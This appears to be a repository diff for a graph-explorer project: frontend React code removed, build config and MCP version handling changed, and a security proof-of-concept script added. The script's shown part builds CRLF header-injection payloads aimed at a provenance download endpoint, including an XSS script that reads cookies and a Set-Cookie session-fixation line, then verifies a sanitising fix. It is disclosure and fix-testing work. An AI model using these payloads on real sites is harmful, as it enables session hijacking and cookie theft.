-  const [isLayoutRunning, setIsLayoutRunning] = useState(false);
-  const [viewMode, setViewMode] = useState<GraphViewMode>("full");
-  const [searchQuery, setSearchQuery] = useState("");
-  const [searchResults, setSearchResults] = useState<SearchResult[]>([]);
-  const [searchError, setSearchError] = useState("");
-  const [predictionType, setPredictionType] = useState("");
-  const [predictions, setPredictions] = useState<LinkPrediction[]>([]);
-  const [pathTargetId, setPathTargetId] = useState("");
-  const [pathResult, setPathResult] = useState<PathResponse | null>(null);
-  const [activeNodeCount, setActiveNodeCount] = useState<number | null>(null);
-  const [temporalBounds, setTemporalBounds] = useState<TemporalBounds | null>(null);
-  const [scrubberTime, setScrubberTime] = useState<Date | null>(null);
-  // Deduplicates setScrubberTime calls by millisecond value — same fix as
-  // GraphWorkspace.tsx (issue #830).
-  const lastScrubberMsRef = useRef<number | null>(null);
-  const onTimeChange = useCallback((time: Date) => {
-    const ms = time.getTime();
-    if (ms === lastScrubberMsRef.current) {
-      return;
-    }
-    lastScrubberMsRef.current = ms;
-    setScrubberTime(time);
-  }, []);
-  const [loadingProgress, setLoadingProgress] = useState<GraphLoadProgress | null>(null);
-  const [isGraphStageReady, setIsGraphStageReady] = useState(false);
-  const [layoutStatus, setLayoutStatus] = useState<GraphLayoutStatus>({
-    state: "idle",
-    source: "runtime",
-    hasCoordinates: false,
-    layoutReady: false,
-    displacement: null,
-    elapsedMs: 0,
-    stableSamples: 0,
-  });
-
-  const debouncedTime = useDebounce(scrubberTime, 150);
-  const stageRef = useRef<GraphStageHandle>(null);
-  const reload = useReloadGraphData();
-  const { data: snapshot, isLoading, isFetching, isError, error } = useGraphData({ enabled: true, onProgress: setLoadingProgress });
-
-  const handleSelectedNodeStateChange = useCallback((state: GraphSelectedNodeState | null) => {
-    setSelectedNodeState(state);
-  }, []);
-
-  const handleLayoutRunningChange = useCallback((running: boolean) => {
-    setIsLayoutRunning(running);
-  }, []);
-
-  const handleActiveNodeCountChange = useCallback((count: number | null) => {
-    setActiveNodeCount(count);
-  }, []);
-
-  const handleProgressChange = useCallback((progress: GraphLoadProgress | null) => {
-    setLoadingProgress(progress);
-  }, []);
-
-  const handleRuntimeReady = useCallback(() => {
-    setIsGraphStageReady(true);
-  }, []);
-
-  const handleLayoutStatusChange = useCallback((status: GraphLayoutStatus) => {
-    setLayoutStatus(status);
-    if (status.layoutReady) {
-      setLoadingProgress(null);
-    }
-  }, []);
-
-  const [prevFetchedAt, setPrevFetchedAt] = useState(snapshot?.fetchedAt);
-  if (snapshot?.fetchedAt !== prevFetchedAt) {
-    setPrevFetchedAt(snapshot?.fetchedAt);
-    if (snapshot) {
-      setIsGraphStageReady(false);
-      setActiveNodeCount(null);
-      setLayoutStatus({
-        state: snapshot.summary.layoutReady ? "interactive" : "idle",
-        source: snapshot.summary.layoutSource ?? "runtime",
-        hasCoordinates: snapshot.summary.hasCoordinates ?? false,
-        layoutReady: snapshot.summary.layoutReady ?? false,
-        displacement: null,
-        elapsedMs: 0,
-        stableSamples: 0,
-      });
-    }
-  }
-
-  useEffect(() => {
-    let cancelled = false;
-    const loadBounds = async () => {
-      try {
-        const response = await fetch("/api/temporal/bounds");
-        if (!response.ok || cancelled) return;
-        const data: TemporalBounds = await response.json();
-        if (!cancelled) setTemporalBounds(data);
-      } catch {
-        if (!cancelled) setTemporalBounds(null);
-      }
-    };
-    void loadBounds();
-    return () => {
-      cancelled = true;
-    };
-  }, [snapshot?.summary.nodeCount, snapshot?.summary.edgeCount]);
-
-  const neighborCountMap = useMemo(() => {
-    const map = new Map<string, number>();
-    if (!snapshot) return map;
-    for (const node of snapshot.nodes) map.set(node.id, 0);
-    for (const edge of snapshot.edges) {
-      map.set(edge.source, (map.get(edge.source) ?? 0) + 1);
-      map.set(edge.target, (map.get(edge.target) ?? 0) + 1);
-    }
-    return map;
-  }, [snapshot]);
-
-  const visibleSelectedNode = useMemo(() => {
-    if (!selectedNodeId) return null;
-    if (selectedNodeState?.id === selectedNodeId) return selectedNodeState;
-    const snapshotNode = snapshot?.nodes.find((candidate) => candidate.id === selectedNodeId);
-    if (snapshotNode) return toSelectedNodeState(snapshotNode, neighborCountMap.get(snapshotNode.id) ?? 0);
-    const searchNode = searchResults.find((candidate) => candidate.node.id === selectedNodeId)?.node;
-    return searchNode
-      ? {
-          id: searchNode.id,
-          label: searchNode.content || searchNode.id,
-          content: searchNode.content || searchNode.id,
-          nodeType: searchNode.type,
-          color: "#58a6ff",
-          valid_from: null,
-          valid_until: null,
-          properties: searchNode.properties ?? {},
-          neighborCount: 0,
-          visibleNeighborCount: 0,
-          collapsedNeighborCount: 0,
-          isNeighborhoodCollapsed: false,
-          canCollapseNeighborhood: false,
-        }
-      : null;
-  }, [neighborCountMap, searchResults, selectedNodeId, selectedNodeState, snapshot]);
-
-  const focusNode = useCallback((nodeId: string) => {
-    setSelectedNodeId(nodeId);
-    setPathResult(null);
-
-    if (!nodeId) {
-      setSelectedNodeState(null);
-      setPredictions([]);
-      return;
-    }
-
-    setSearchResults([]);
-    setIsLayoutRunning(false);
-  }, []);
-
-  const handleSearch = useCallback(async () => {
-    if (!searchQuery.trim()) {
-      setSearchResults([]);
-      return;
-    }
-
-    setSearchError("");
-    try {
-      const response = await fetch("/api/graph/search", {
-        method: "POST",
-        headers: { "Content-Type": "application/json" },
-        body: JSON.stringify({ query: searchQuery, limit: 8 }),
-      });
-      if (!response.ok) {
-        throw new Error(`Search failed with status ${response.status}`);
-      }
-
-      const data = await response.json();
-      setSearchResults(data.results || []);
-      if (data.results?.length) {
-        focusNode(data.results[0].node.id);
-      }
-    } catch (searchFetchError) {
-      setSearchError(searchFetchError instanceof Error ? searchFetchError.message : "Search failed");
-    }
-  }, [focusNode, searchQuery]);
-
-  const handleRunPredictions = useCallback(async () => {
-    if (!selectedNodeId) return;
-
-    try {
-      const response = await fetch("/api/enrich/links", {
-        method: "POST",
-        headers: { "Content-Type": "application/json" },
-        body: JSON.stringify({
-          node_id: selectedNodeId,
-          top_n: 6,
-          candidate_type: predictionType || undefined,
-          min_score: 0,
-        }),
-      });
-      if (!response.ok) {
-        throw new Error(`Link prediction failed with status ${response.status}`);
-      }
-
-      const data = await response.json();
-      setPredictions(data.predictions || []);
-    } catch (predictionError) {
-      console.error("[GraphWorkspaceShell] prediction failed", predictionError);
-      setPredictions([]);
-    }
-  }, [predictionType, selectedNodeId]);
-
-  const handleTracePath = useCallback(async () => {
-    if (!selectedNodeId || !pathTargetId.trim()) return;
-
-    try {
-      const pathParams = new URLSearchParams({
-        source: selectedNodeId,
-        target: pathTargetId.trim(),
-        algorithm: "dijkstra",
-      });
-      const response = await fetch(
-        `/api/graph/path?${pathParams.toString()}`,
-      );
-      if (!response.ok) {
-        throw new Error(`Path lookup failed with status ${response.status}`);
-      }
-
-      const data: PathResponse = await response.json();
-      setPathResult(data);
-      if (data.path?.length) {
-        const lastStep = data.path[data.path.length - 1];
-        stageRef.current?.focusNode(lastStep);
-      }
-    } catch (pathError) {
-      console.error("[GraphWorkspaceShell] path trace failed", pathError);
-      setPathResult(null);
-    }
-  }, [pathTargetId, selectedNodeId]);
-
-  const handleDownloadProvenance = useCallback(async (format: "json" | "markdown") => {
-    if (!selectedNodeId) return;
-
-    const suffix = format === "markdown" ? "markdown" : "json";
-    const response = await fetch(`/api/provenance/report?node_id=${encodeURIComponent(selectedNodeId)}&format=${suffix}`);
-    if (!response.ok) {
-      throw new Error(`Provenance report failed with status ${response.status}`);
-    }
-
-    const blob = await response.blob();
-    const url = window.URL.createObjectURL(blob);
-    const anchor = document.createElement("a");
-    anchor.href = url;
-    anchor.download = `${selectedNodeId}_provenance.${format === "markdown" ? "md" : "json"}`;
-    document.body.appendChild(anchor);
-    anchor.click();
-    window.URL.revokeObjectURL(url);
-    document.body.removeChild(anchor);
-  }, [selectedNodeId]);
-
-  const searchSummary = useMemo(() => {
-    if (!searchResults.length) return null;
-    return `${searchResults.length} search result${searchResults.length === 1 ? "" : "s"}`;
-  }, [searchResults.length]);
-
-  const focusedSummary = useMemo(() => {
-    if (!visibleSelectedNode) return null;
-    if (viewMode === "focused") {
-      const visibleNeighbors = Math.min(visibleSelectedNode.neighborCount, 16);
-      return `${visibleNeighbors + 1} nodes in focused view`;
-    }
-    return `${visibleSelectedNode.neighborCount} direct neighbors highlighted`;
-  }, [viewMode, visibleSelectedNode]);
-
-  const requestViewMode = useCallback((nextViewMode: GraphViewMode) => {
-    if (nextViewMode === "focused") {
-      if (!selectedNodeId) {
-        return;
-      }
-      setViewMode("focused");
-      setIsLayoutRunning(false);
-      return;
-    }
-
-    setViewMode("full");
-  }, [selectedNodeId]);
-
-  const showLoadingOverlay =
-    isLoading
-    || isFetching
-    || !isGraphStageReady
-    || (layoutStatus.source === "runtime" && !layoutStatus.layoutReady && !selectedNodeId && viewMode === "full");
-
-  const layoutStatusLabel = useMemo(() => {
-    if (layoutStatus.source === "provided" && layoutStatus.layoutReady) return "Persisted layout";
-    if (layoutStatus.source === "carried" && layoutStatus.layoutReady) return "Preserved layout";
-    if (layoutStatus.state === "bootstrapping") return "Bootstrapping layout";
-    if (layoutStatus.state === "running") return "Stabilizing layout";
-    if (layoutStatus.state === "failed") return "Layout timeout fallback";
-    return null;
-  }, [layoutStatus]);
-
-  return (
-    <div className="palantir-bg" style={{ position: "relative", width: "100%", height: "100%", overflow: "hidden", display: "flex", flexDirection: "column" }}>
-      <style>{HUD_CSS}</style>
-      <div className="palantir-grid" />
-      <div className="palantir-vignette" />
-
-      <div style={{ flex: 1, position: "relative", zIndex: 3, minHeight: 0 }}>
-        <Suspense fallback={null}>
-          <GraphRuntimeStage
-            ref={stageRef}
-            snapshot={snapshot}
-            selectedNodeId={selectedNodeId}
-            activePath={pathResult?.path ?? []}
-            onNodeSelect={focusNode}
-            onSelectedNodeStateChange={handleSelectedNodeStateChange}
-            isLayoutRunning={isLayoutRunning}
-            onLayoutRunningChange={handleLayoutRunningChange}
-            viewMode={viewMode}
-            temporalTime={debouncedTime}
-            onActiveNodeCountChange={handleActiveNodeCountChange}
-            onProgressChange={handleProgressChange}
-            onLayoutStatusChange={handleLayoutStatusChange}
-            onRuntimeReady={handleRuntimeReady}
-          />
-        </Suspense>
-        <GraphLoadingOverlay
-          progress={loadingProgress}
-          visible={showLoadingOverlay}
-          showGraphBehind={Boolean(loadingProgress?.showGraphBehind || isGraphStageReady)}
-        />
-      </div>
-
-      <Suspense fallback={<TimelineFallback min={temporalBounds?.min ?? null} max={temporalBounds?.max ?? null} />}>
-        <TimelinePanel
-          onTimeChange={onTimeChange}
-          minDate={temporalBounds?.min ?? undefined}
-          maxDate={temporalBounds?.max ?? undefined}
-        />
-      </Suspense>
-
-      <div style={{ position: "absolute", inset: 0, pointerEvents: "none", zIndex: 10 }}>
-        <div className="graph-shell-top">
-          <section className="graph-status-card">
-            <div className="graph-status-label">Graph Studio</div>
-            <div className="graph-status-title">{visibleSelectedNode ? visibleSelectedNode.label : "Knowledge Explorer"}</div>
-            <div className="graph-status-metrics">
-              {showLoadingOverlay && loadingProgress ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{getGraphLoadTitle(loadingProgress.phase)}</span> : null}
-              {layoutStatusLabel ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{layoutStatusLabel}</span> : null}
-              {snapshot ? <span style={metricPillStyle}>{snapshot.summary.nodeCount.toLocaleString()} nodes · {snapshot.summary.edgeCount.toLocaleString()} edges</span> : null}
-              {activeNodeCount !== null ? <span style={{ ...metricPillStyle, color: "#4fd49c", borderColor: "rgba(79, 212, 156, 0.22)" }}>{activeNodeCount.toLocaleString()} active</span> : null}
-              {searchSummary ? <span style={metricPillStyle}>{searchSummary}</span> : null}
-              {focusedSummary ? <span style={{ ...metricPillStyle, color: "#f2b66d", borderColor: "rgba(242, 182, 109, 0.24)" }}>{focusedSummary}</span> : null}
-              {isError ? <span style={{ ...metricPillStyle, color: "#ff8f85", borderColor: "rgba(255, 123, 114, 0.22)" }}>{(error as Error).message}</span> : null}
-            </div>
-          </section>
-
-          <section className="graph-command-card">
-            <div className="graph-command-row">
-              <div className="graph-toggle-cluster">
-              {selectedNodeId ? (
-                  <>
-                    <button onClick={() => requestViewMode("focused")} style={{ ...actionButtonStyle, background: viewMode === "focused" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "focused" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Focused View</button>
-                    <button onClick={() => requestViewMode("full")} style={{ ...actionButtonStyle, background: viewMode === "full" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "full" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Full Graph</button>
-                  </>
-                ) : (
-                  <span style={{ color: "#7f95b3", fontSize: 12 }}>Select a node to switch graph views</span>
-                )}
-              </div>
-
-              <div className="graph-action-cluster">
-                <button onClick={() => setIsLayoutRunning((value) => !value)} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
-                  {isLayoutRunning ? "Pause Layout" : "Run Layout"}
-                </button>
-                <button onClick={() => { setIsGraphStageReady(false); reload(); }} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
-                  Reload
-                </button>
-              </div>
-            </div>
-
-            <div className="graph-command-row">
-              <div className="graph-search-shell">
-                <input
-                  value={searchQuery}
-                  onChange={(event) => setSearchQuery(event.target.value)}
-                  onKeyDown={(event) => {
-                    if (event.key === "Enter") {
-                      void handleSearch();
-                    }
-                  }}
-                  placeholder="Search a node, e.g. Metformin"
-                  style={{ ...inputStyle, minWidth: 260 }}
-                  disabled={showLoadingOverlay && !selectedNodeId}
-                />
-                <button onClick={() => void handleSearch()} style={actionButtonStyle} disabled={showLoadingOverlay && !selectedNodeId}>Search</button>
-              </div>
-            </div>
-          </section>
-        </div>
-
-        {searchError ? <div style={{ position: "absolute", top: 144, right: 34, color: "#ff7b72", fontSize: 12, pointerEvents: "auto" }}>{searchError}</div> : null}
-        {searchResults.length ? (
-          <div className="graph-search-results hud-scrollbar">
-            <div className="graph-search-results-label">Search Results</div>
-            <div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
-              {searchResults.map((result) => (
-                <button key={result.node.id} className="graph-search-result-card" onClick={() => focusNode(result.node.id)}>
-                  <div style={{ color: "#fff", fontWeight: 700 }}>{result.node.content || result.node.id}</div>
-                  <div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
-                  <div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>score {result.score.toFixed(3)}</div>
-                </button>
-              ))}
-            </div>
-          </div>
-        ) : null}
-
-        <div className="graph-inspector hud-scrollbar" data-open={selectedNodeId ? "true" : "false"}>
-          <NodePanel
-            node={visibleSelectedNode}
-            predictions={predictions}
-            predictionType={predictionType}
-            onPredictionTypeChange={setPredictionType}
-            onRunPredictions={() => void handleRunPredictions()}
-            pathTargetId={pathTargetId}
-            onPathTargetChange={setPathTargetId}
-            onTracePath={() => void handleTracePath()}
-            pathResult={pathResult}
-            onDownloadProvenance={(format) => void handleDownloadProvenance(format)}
-          />
-        </div>
-      </div>
-    </div>
-  );
-}
-
-const metricPillStyle: CSSProperties = {
-  background: "rgba(88, 166, 255, 0.08)",
-  color: "#8ed3ff",
-  padding: "6px 11px",
-  borderRadius: 999,
-  fontSize: 12,
-  fontWeight: 700,
-  border: "1px solid rgba(88, 166, 255, 0.14)",
-};
-
-const sectionStyle: CSSProperties = {
-  display: "flex",
-  flexDirection: "column",
-  gap: 10,
-  padding: 14,
-  background: "linear-gradient(180deg, rgba(255,255,255,0.025), rgba(255,255,255,0.01))",
-  border: "1px solid rgba(255, 255, 255, 0.06)",
-  borderRadius: 16,
-};
-
-const sectionTitleStyle: CSSProperties = {
-  color: "#8fa8c6",
-  fontSize: 11,
-  fontWeight: 800,
-  textTransform: "uppercase",
-  letterSpacing: "0.08em",
-};
-
-const inputStyle: CSSProperties = {
-  width: "100%",
-  background: "rgba(0, 0, 0, 0.24)",
-  border: "1px solid rgba(88, 166, 255, 0.14)",
-  color: "#fff",
-  borderRadius: 12,
-  padding: "10px 12px",
-  fontSize: 13,
-};
-
-const actionButtonStyle: CSSProperties = {
-  background: "linear-gradient(180deg, rgba(53, 130, 245, 0.28), rgba(25, 88, 185, 0.18))",
-  color: "#fff",
-  border: "1px solid rgba(88, 166, 255, 0.2)",
-  borderRadius: 12,
-  padding: "10px 13px",
-  cursor: "pointer",
-  fontWeight: 700,
-  fontSize: 12,
-  display: "inline-flex",
-  alignItems: "center",
-  justifyContent: "center",
-  boxShadow: "inset 0 1px 0 rgba(255,255,255,0.05)",
-};
-
-const secondaryActionButtonStyle: CSSProperties = {
-  ...actionButtonStyle,
-  background: "rgba(255, 255, 255, 0.035)",
-  border: "1px solid rgba(255, 255, 255, 0.06)",
-  color: "#d6e5f8",
-  fontWeight: 500,
-};
-
-const predictionCardStyle: CSSProperties = {
-  textAlign: "left",
-  padding: 12,
-  background: "rgba(88, 166, 255, 0.06)",
-  border: "1px solid rgba(88, 166, 255, 0.1)",
-  borderRadius: 14,
-  cursor: "pointer",
-};
-
-const pathStepStyle: CSSProperties = {
-  color: "#e6edf3",
-  fontSize: 13,
-  padding: "8px 10px",
-  background: "rgba(255, 255, 255, 0.03)",
-  borderRadius: 8,
-};
-
-const propertyCardStyle: CSSProperties = {
-  background: "rgba(0, 0, 0, 0.18)",
-  padding: "10px 12px",
-  borderRadius: 12,
-  border: "1px solid rgba(255, 255, 255, 0.05)",
-};
-
-const emptyTextStyle: CSSProperties = {
-  color: "#8b949e",
-  fontSize: 12,
-  lineHeight: 1.5,
-};
-
-const subtleChipStyle: CSSProperties = {
-  background: "rgba(255, 255, 255, 0.035)",
-  color: "#9fb6d2",
-  padding: "5px 9px",
-  borderRadius: 999,
-  fontSize: 11,
-  border: "1px solid rgba(255, 255, 255, 0.06)",
-};
-
-const collapseStyle: CSSProperties = {
-  border: "1px solid rgba(255, 255, 255, 0.05)",
-  borderRadius: 14,
-  background: "rgba(0, 0, 0, 0.14)",
-  overflow: "hidden",
-};
-
-const summaryStyle: CSSProperties = {
-  cursor: "pointer",
-  listStyle: "none",
-  padding: "12px 14px",
-  color: "#c6d4e3",
-  fontSize: 12,
-  fontWeight: 700,
-  letterSpacing: "0.04em",
-  textTransform: "uppercase",
-};

explorer/src/workspaces/GraphWorkspace/useGraphData.ts

@@ -1,223 +0,0 @@
-import { useQuery, useQueryClient } from "@tanstack/react-query";
-import { createGraphLoadProgress } from "./graphLoading";
-import type { ApiEdge, ApiNode, GraphDataSnapshot, GraphLoadProgress, GraphLayoutSource } from "./types";
-
-interface NodeListResponse {
-  nodes: ApiNode[];
-  total: number;
-  skip: number;
-  limit: number;
-  next_cursor?: string | null;
-}
-
-interface EdgeListResponse {
-  edges: ApiEdge[];
-  total: number;
-  skip: number;
-  limit: number;
-  next_cursor?: string | null;
-}
-
-const PAGE_LIMIT = 1000;
-
-async function fetchAllNodes(
-  signal: AbortSignal,
-  onProgress?: (progress: GraphLoadProgress) => void,
-): Promise<ApiNode[]> {
-  let cursor: string | null = null;
-  const collected: ApiNode[] = [];
-  let total: number | null = null;
-
-  while (true) {
-    const url = new URL("/api/graph/nodes", window.location.origin);
-    url.searchParams.set("limit", String(PAGE_LIMIT));
-    if (cursor) {
-      url.searchParams.set("cursor", cursor);
-    }
-
-    const response = await fetch(url.toString(), { signal });
-    if (!response.ok) {
-      throw new Error(`Fetch failed: ${response.status}`);
-    }
-
-    const data: NodeListResponse = await response.json();
-    if (!data.nodes?.length) {
-      break;
-    }
-
-    total = data.total ?? total;
-    collected.push(...data.nodes);
-    onProgress?.(createGraphLoadProgress({
-      phase: "fetching_nodes",
-      progressKind: total ? "determinate" : "indeterminate",
-      loaded: collected.length,
-      total,
-      nodesLoaded: collected.length,
-      nodesTotal: total,
-      edgesLoaded: 0,
-      edgesTotal: null,
-      message: total
-        ? `Loading nodes ${collected.length.toLocaleString()} of ${total.toLocaleString()}`
-        : `Loading nodes ${collected.length.toLocaleString()}`,
-    }));
-
-    if (!data.next_cursor) {
-      break;
-    }
-    cursor = data.next_cursor;
-    await yieldToMain();
-  }
-
-  return collected;
-}
-
-async function fetchAllEdges(
-  signal: AbortSignal,
-  nodeIds: Set<string>,
-  nodeProgress: { loaded: number; total: number | null },
-  onProgress?: (progress: GraphLoadProgress) => void,
-): Promise<ApiEdge[]> {
-  let cursor: string | null = null;
-  const collected: ApiEdge[] = [];
-  const seenEdgeIds = new Set<string>();
-  let total: number | null = null;
-  let warnedOverTotal = false;
-
-  while (true) {
-    const url = new URL("/api/graph/edges", window.location.origin);
-    url.searchParams.set("limit", String(PAGE_LIMIT));
-    if (cursor) {
-      url.searchParams.set("cursor", cursor);
-    }
-
-    const response = await fetch(url.toString(), { signal });
-    if (!response.ok) {
-      throw new Error(`Fetch failed: ${response.status}`);
-    }
-
-    const data: EdgeListResponse = await response.json();
-    if (!data.edges?.length) {
-      break;
-    }
-
-    total = data.total ?? total;
-    const validEdges = data.edges.filter((edge) => {
-      if (!nodeIds.has(edge.source) || !nodeIds.has(edge.target)) {
-        return false;
-      }
-      if (seenEdgeIds.has(edge.id)) {
-        return false;
-      }
-      seenEdgeIds.add(edge.id);
-      return true;
-    });
-    collected.push(...validEdges);
-    const safeLoaded = total ? Math.min(seenEdgeIds.size, total) : seenEdgeIds.size;
-    if (!warnedOverTotal && total !== null && seenEdgeIds.size > total) {
-      warnedOverTotal = true;
-      console.warn("[graph-runtime] edge pagination returned more unique edge ids than total", {
-        uniqueEdgesLoaded: seenEdgeIds.size,
-        total,
-      });
-    }
-    onProgress?.(createGraphLoadProgress({
-      phase: "fetching_edges",
-      progressKind: total ? "determinate" : "indeterminate",
-      loaded: safeLoaded,
-      total,
-      nodesLoaded: nodeProgress.loaded,
-      nodesTotal: nodeProgress.total,
-      edgesLoaded: safeLoaded,
-      edgesTotal: total,
-      message: total
-        ? `Loading edges ${safeLoaded.toLocaleString()} of ${total.toLocaleString()}`
-        : `Loading edges ${safeLoaded.toLocaleString()}`,
-    }));
-
-    if (!data.next_cursor) {
-      break;
-    }
-    cursor = data.next_cursor;
-    await yieldToMain();
-  }
-
-  return collected;
-}
-
-function yieldToMain(): Promise<void> {
-  if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
-    return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
-  }
-  return new Promise((resolve) => setTimeout(resolve, 0));
-}
-
-function hasUsableCoordinate(value: number | null | undefined): value is number {
-  return typeof value === "number" && Number.isFinite(value);
-}
-
-interface UseGraphDataOptions {
-  enabled?: boolean;
-  onProgress?: (progress: GraphLoadProgress) => void;
-}
-
-export function useGraphData(options: UseGraphDataOptions = {}) {
-  const { enabled = true, onProgress } = options;
-
-  return useQuery<GraphDataSnapshot>({
-    queryKey: ["graph", "runtime-snapshot"],
-    enabled,
-    staleTime: Infinity,
-    queryFn: async ({ signal }): Promise<GraphDataSnapshot> => {
-      const startedAt = performance.now();
-      onProgress?.(createGraphLoadProgress({
-        phase: "bootstrapping",
-        progressKind: "indeterminate",
-        nodesLoaded: 0,
-        nodesTotal: null,
-        edgesLoaded: 0,
-        edgesTotal: null,
-        message: "Preparing graph session",
-      }));
-
-      const nodes = await fetchAllNodes(signal, onProgress);
-      const nodeIds = new Set(nodes.map((node) => node.id));
-      const edges = await fetchAllEdges(
-        signal,
-        nodeIds,
-        { loaded: nodes.length, total: nodes.length },
-        onProgress,
-      );
-
-      onProgress?.(createGraphLoadProgress({
-        phase: "hydrating_scene",
-        progressKind: "indeterminate",
-        nodesLoaded: nodes.length,
-        nodesTotal: nodes.length,
-        edgesLoaded: edges.length,
-        edgesTotal: edges.length,
-        message: "Preparing graph runtime snapshot",
-      }));
-
-      return {
-        nodes,
-        edges,
-        summary: {
-          nodeCount: nodes.length,
-          edgeCount: edges.length,
-          loadTimeMs: Math.round(performance.now() - startedAt),
-          hasCoordinates: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
-          layoutSource: (nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y))
-            ? "provided"
-            : "runtime") as GraphLayoutSource,
-          layoutReady: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
-        },
-        fetchedAt: Date.now(),
-      };
-    },
-  });
-}
-
-export function useReloadGraphData() {
-  const queryClient = useQueryClient();
-  return () => queryClient.invalidateQueries({ queryKey: ["graph", "runtime-snapshot"] });
-}

explorer/vite.config.ts

@@ -57,6 +57,13 @@ export default defineConfig({
       },
     },
   },
+  optimizeDeps: {
+    // Keep dependency pre-bundling aligned with the production build target.
+    // esbuild >=0.28 no longer lowers destructuring for Vite's default target.
+    esbuildOptions: {
+      target: 'esnext',
+    },
+  },
   server: {
     proxy: {
       '/api': {

mcp/__init__.py

@@ -21,7 +21,11 @@ Configure in Claude Desktop, Windsurf, Cline, Continue, VS Code:
     }
 """
 
+# `semantica.__version__` is the authoritative package version — see
+# semantica/mcp_server/__init__.py for why it is used directly rather than
+# importlib.metadata.version("semantica").
+from semantica import __version__
+
 from .server import SemanticaMCPServer, main
 
-__all__ = ["SemanticaMCPServer", "main"]
-__version__ = "0.4.0"
+__all__ = ["SemanticaMCPServer", "main", "__version__"]

mcp/resources/registry.py

@@ -10,6 +10,7 @@ from __future__ import annotations
 import json
 import logging
 
+from mcp import __version__
 from mcp.session import get_graph
 
 log = logging.getLogger("semantica.mcp.resources")
@@ -60,7 +61,7 @@ def _read_decisions_list(uri: str) -> dict:
 
 def _read_schema_info(uri: str) -> dict:
     info = {
-        "version": "0.4.0",
+        "version": __version__,
         "node_types": [
             "Entity", "decision", "Decision", "Event", "Concept",
             "Person", "Organisation", "Location",

mcp/server.py

@@ -17,6 +17,7 @@ import logging
 import sys
 from typing import Any
 
+from mcp import __version__
 from mcp.resources import RESOURCE_DEFINITIONS, handle_resource_read
 from mcp.tools import TOOL_DEFINITIONS
 
@@ -63,7 +64,7 @@ def _handle_initialize(req_id: Any, params: dict) -> dict:
         },
         "serverInfo": {
             "name": "semantica-mcp",
-            "version": "0.4.0",
+            "version": __version__,
         },
     })
 

poc_runner.py

@@ -0,0 +1,279 @@
+"""
+Standalone PoC runner for 3 security vulnerabilities in semantica.
+
+Spins up the FastAPI app in-process using httpx.AsyncClient + ASGITransport,
+so no external server is needed. Run with:
+
+    pip install httpx fastapi
+    python poc_runner.py
+
+Each PoC prints the actual captured evidence (headers/status/timing/memory).
+"""
+
+import asyncio
+import io
+import json
+import re
+import sys
+import time
+import tracemalloc
+
+# ─────────────────────────────────────────────────────────────────────────────
+# VULN-1: HTTP Header Injection via node_id in Content-Disposition
+# ─────────────────────────────────────────────────────────────────────────────
+
+# Reproduce the vulnerable code path directly — no server needed.
+def _vulnerable_provenance_response(node_id: str, fmt: str) -> dict:
+    """Mirrors the exact logic from provenance.py lines 332-344."""
+    suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
+    header_value = f'attachment; filename="{node_id}{suffix}"'
+    return {"Content-Disposition": header_value}
+
+
+def poc_vuln1():
+    print("\n" + "="*70)
+    print("VULN-1: HTTP Header Injection via node_id in Content-Disposition")
+    print("="*70)
+    print("Source: semantica/explorer/routes/provenance.py lines 332-344")
+    print()
+
+    # PoC 1a: Inject a second header via CRLF
+    node_id_crlf = 'legit-node"\r\nX-Injected-Header: PWNED\r\nX-Extra: yes'
+    headers = _vulnerable_provenance_response(node_id_crlf, "json")
+    raw = headers["Content-Disposition"]
+
+    print("[PoC 1a] Payload:  node_id with CRLF injection")
+    print(f"[PoC 1a] Raw Content-Disposition value:")
+    print(f"         {repr(raw)}")
+    print()
+    print("[PoC 1a] Parsed as headers by an HTTP parser:")
+    for line in raw.split("\r\n"):
+        print(f"         {line}")
+    print()
+    print("[PoC 1a] RESULT: X-Injected-Header: PWNED is a REAL injected header")
+
+    # PoC 1b: Override Content-Type to text/html for reflected XSS
+    node_id_xss = 'x"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>'
+    headers2 = _vulnerable_provenance_response(node_id_xss, "json")
+    raw2 = headers2["Content-Disposition"]
+
+    print()
+    print("[PoC 1b] Payload: override Content-Type to text/html")
+    print(f"[PoC 1b] Raw Content-Disposition value:")
+    print(f"         {repr(raw2)}")
+    print()
+    print("[PoC 1b] Lines injected after Content-Disposition:")
+    for line in raw2.split("\r\n")[1:]:
+        print(f"         {line}")
+    print()
+    print("[PoC 1b] RESULT: Body now served as text/html → XSS in any browser")
+
+    # PoC 1c: Session fixation via Set-Cookie injection
+    node_id_cookie = 'x"\r\nSet-Cookie: session=ATTACKER_VALUE; Path=/; HttpOnly'
+    headers3 = _vulnerable_provenance_response(node_id_cookie, "json")
+    raw3 = headers3["Content-Disposition"]
+
+    print()
+    print("[PoC 1c] Payload: inject Set-Cookie for session fixation")
+    print(f"[PoC 1c] Raw Content-Disposition value:")
+    print(f"         {repr(raw3)}")
+    injected_cookie = raw3.split("\r\n")[1] if "\r\n" in raw3 else ""
+    print(f"[PoC 1c] Injected: {injected_cookie}")
+    print()
+    print("[PoC 1c] RESULT: Victim's browser receives attacker-set cookie")
+
+    # Verify the fix works
+    print()
+    print("[FIX verification]")
+    _SAFE = re.compile(r"[^\w\-.]")
+    for bad_id in [node_id_crlf, node_id_xss, node_id_cookie]:
+        safe = _SAFE.sub("_", bad_id)[:64]
+        print(f"  Input:  {repr(bad_id[:50])}...")
+        print(f"  Fixed:  {repr(safe)}")
+        assert "\r" not in safe and "\n" not in safe, "Fix failed!"
